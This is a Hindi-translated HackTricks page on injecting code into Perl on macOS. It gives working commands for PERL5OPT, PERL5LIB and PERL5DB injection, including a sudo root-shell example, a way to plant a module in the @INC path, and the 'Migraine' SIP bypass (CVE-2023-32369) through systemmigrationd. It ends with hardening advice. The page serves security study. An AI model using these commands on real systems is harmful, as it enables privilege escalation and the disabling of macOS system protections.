macOS Perl Applications Injection
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Via PERL5OPT
& PERL5LIB
env variable
पर्यावरण चर PERL5OPT
का उपयोग करके यह संभव है कि Perl जब इंटरप्रेटर शुरू होता है (यहां तक कि पहली पंक्ति को लक्षित स्क्रिप्ट के पार्स होने से पहले) मनमाने आदेशों को निष्पादित करे। उदाहरण के लिए, यह स्क्रिप्ट बनाएं:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
अब env वेरिएबल को एक्सपोर्ट करें और perl स्क्रिप्ट को निष्पादित करें:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
एक और विकल्प एक Perl मॉड्यूल बनाना है (जैसे /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
और फिर env वेरिएबल्स का उपयोग करें ताकि मॉड्यूल स्वचालित रूप से स्थित और लोड हो सके:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
अन्य दिलचस्प पर्यावरण चर
PERL5DB
– जब इंटरप्रेटर-d
(डिबगर) ध्वज के साथ शुरू किया जाता है, तोPERL5DB
की सामग्री डिबगर संदर्भ के अंदर Perl कोड के रूप में निष्पादित होती है। यदि आप एक विशेषाधिकार प्राप्त Perl प्रक्रिया के पर्यावरण और कमांड-लाइन ध्वजों को प्रभावित कर सकते हैं, तो आप कुछ इस तरह कर सकते हैं:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # स्क्रिप्ट निष्पादित करने से पहले एक शेल खोलेगा
PERL5SHELL
– Windows पर यह चर नियंत्रित करता है कि Perl किस शेल निष्पादन योग्य का उपयोग करेगा जब उसे एक शेल उत्पन्न करने की आवश्यकता होती है। इसे यहाँ केवल पूर्णता के लिए उल्लेखित किया गया है, क्योंकि यह macOS पर प्रासंगिक नहीं है।
हालांकि PERL5DB
को -d
स्विच की आवश्यकता होती है, यह सामान्य है कि रखरखाव या इंस्टॉलर स्क्रिप्टें जो रूट के रूप में निष्पादित होती हैं, इस ध्वज के साथ सक्षम होती हैं ताकि विस्तृत समस्या निवारण किया जा सके, जिससे यह चर एक वैध वृद्धि वेक्टर बन जाता है।
निर्भरताओं के माध्यम से (@INC दुरुपयोग)
यह संभव है कि Perl जो शामिल पथ खोजेगा (@INC
) उसे सूचीबद्ध किया जाए:
perl -e 'print join("\n", @INC)'
macOS 13/14 पर सामान्य आउटपुट इस प्रकार दिखता है:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
कुछ लौटाए गए फ़ोल्डर वास्तव में मौजूद नहीं हैं, हालाँकि /Library/Perl/5.30
मौजूद है, SIP द्वारा संरक्षित नहीं है और SIP-संरक्षित फ़ोल्डरों से पहले है। इसलिए, यदि आप root के रूप में लिख सकते हैं, तो आप एक दुर्भावनापूर्ण मॉड्यूल (जैसे File/Basename.pm
) छोड़ सकते हैं जिसे कोई भी विशेषाधिकार प्राप्त स्क्रिप्ट उस मॉड्यूल को आयात करते समय प्राथमिकता से लोड करेगी।
warning
आपको /Library/Perl
के अंदर लिखने के लिए अभी भी root की आवश्यकता है और macOS एक TCC प्रॉम्प्ट दिखाएगा जो लिखने के ऑपरेशन को करने वाली प्रक्रिया के लिए पूर्ण डिस्क एक्सेस मांगता है।
उदाहरण के लिए, यदि एक स्क्रिप्ट use File::Basename;
आयात कर रही है, तो यह संभव होगा कि /Library/Perl/5.30/File/Basename.pm
बनाया जाए जिसमें हमलावर-नियंत्रित कोड हो।
SIP बायपास माइग्रेशन सहायक के माध्यम से (CVE-2023-32369 “Migraine”)
मई 2023 में Microsoft ने CVE-2023-32369 का खुलासा किया, जिसे Migraine उपनाम दिया गया, एक पोस्ट-एक्सप्लॉइटेशन तकनीक जो root हमलावर को पूरी तरह से सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP) को बायपास करने की अनुमति देती है। कमजोर घटक systemmigrationd
है, जो com.apple.rootless.install.heritable
के साथ एक डेमन है। इस डेमन द्वारा उत्पन्न कोई भी चाइल्ड प्रोसेस इस अधिकार को विरासत में लेता है और इसलिए SIP प्रतिबंधों के बाहर चलता है।
शोधकर्ताओं द्वारा पहचाने गए बच्चों में Apple-हस्ताक्षरित इंटरप्रेटर है:
/usr/bin/perl /usr/libexec/migrateLocalKDC …
क्योंकि Perl PERL5OPT
का सम्मान करता है (और Bash BASH_ENV
का सम्मान करता है), डेमन के पर्यावरण को विषाक्त करना SIP-रहित संदर्भ में मनमाने निष्पादन प्राप्त करने के लिए पर्याप्त है:
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
जब migrateLocalKDC
चलता है, तो /usr/bin/perl
दुर्भावनापूर्ण PERL5OPT
के साथ शुरू होता है और /private/tmp/migraine.sh
को SIP फिर से सक्षम होने से पहले निष्पादित करता है। उस स्क्रिप्ट से, आप, उदाहरण के लिए, /System/Library/LaunchDaemons
के अंदर एक पेलोड कॉपी कर सकते हैं या एक फ़ाइल को अडिलेटेबल बनाने के लिए com.apple.rootless
विस्तारित विशेषता असाइन कर सकते हैं।
Apple ने इस समस्या को macOS Ventura 13.4, Monterey 12.6.6 और Big Sur 11.7.7 में ठीक किया, लेकिन पुराने या बिना पैच किए गए सिस्टम अभी भी शोषण योग्य हैं।
हार्डनिंग सिफारिशें
- खतरनाक वेरिएबल्स को साफ करें – विशेषाधिकार प्राप्त launchdaemons या cron jobs को एक स्वच्छ वातावरण के साथ शुरू होना चाहिए (
launchctl unsetenv PERL5OPT
,env -i
, आदि)। - रूट के रूप में इंटरप्रेटर्स चलाने से बचें जब तक कि यह आवश्यक न हो। संकलित बाइनरी का उपयोग करें या जल्दी विशेषाधिकार छोड़ें।
-T
(टेंट मोड) के साथ विक्रेता स्क्रिप्ट ताकि PerlPERL5OPT
और अन्य असुरक्षित स्विचों को नजरअंदाज करे जब टेंट चेकिंग सक्षम हो।- macOS को अद्यतित रखें – “Migraine” वर्तमान रिलीज़ में पूरी तरह से पैच किया गया है।
संदर्भ
- Microsoft Security Blog – “नई macOS भेद्यता, Migraine, सिस्टम इंटीग्रिटी प्रोटेक्शन को बायपास कर सकती है” (CVE-2023-32369), 30 मई 2023।
- Hackyboiz – “macOS SIP बायपास (PERL5OPT & BASH_ENV) अनुसंधान”, मई 2025।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।